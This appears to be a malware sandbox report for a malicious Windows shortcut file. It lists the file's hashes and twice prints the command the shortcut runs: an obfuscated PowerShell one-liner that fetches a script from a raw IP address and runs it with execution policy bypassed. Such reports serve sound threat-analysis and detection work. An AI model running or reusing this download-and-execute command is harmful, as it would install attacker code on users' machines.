Malicious
Malicious

d4ea793a0b4947e4f5a35ee4f989f68f

LNK File
|
MD5: d4ea793a0b4947e4f5a35ee4f989f68f
|
Size: 60.29 KB
|
application/x-ms-shortcut

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
d4ea793a0b4947e4f5a35ee4f989f68f
Sha1
eb1ee31465dbaf1fe62be55ed81d13ec9905c490
Sha256
83141b865be20f01dbb8520577500f57ec26357153ee093c5ba46f787aab7f7c
Sha384
c3290b83cdc845aed729f87ca267eb5f5ec83b773d47f206845dacbf0ed1653c42b17e1c8b74df6ef05a03b41afab29b
Sha512
0aa6e4f4a6c201ed1fc68cdfc5f440ff6f249efec5858cbd563187726b4c7b524288413c9d5127071360568aa558c6a4bbddda94d202c10b114764de55252a6e
SSDeep
12:8d/EXcY/s0o+f3rVU+7Sb4S+f3o6us8X+ePtsninXSON+1gqE3ipjUtRYlB4V64h:8d/YNr7pfuR8infqg+jERoDkGOh
TLSH
7843265577F60320F5B25A3DAD337680887A77D9EA36C7EC2210D4085D31A29C1A4F6F
Artefacts
Name
Value
LNK: Command Execution

powershell.exe -win 1 iwr -uri ht''t''p:''//5''.''8.1''8.46/sprdvth/tailor.ps1 -OutFile tailor.ps1; powershell.exe -noprofile -executionpolicy bypass -file "$env:localappdata\tailor.ps1"

d4ea793a0b4947e4f5a35ee4f989f68f (60.29 KB)
No malware configuration were found at this point.
Artefacts
Name
Value Location
LNK: Command Execution

powershell.exe -win 1 iwr -uri ht''t''p:''//5''.''8.1''8.46/sprdvth/tailor.ps1 -OutFile tailor.ps1; powershell.exe -noprofile -executionpolicy bypass -file "$env:localappdata\tailor.ps1"

Malicious

d4ea793a0b4947e4f5a35ee4f989f68f

You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙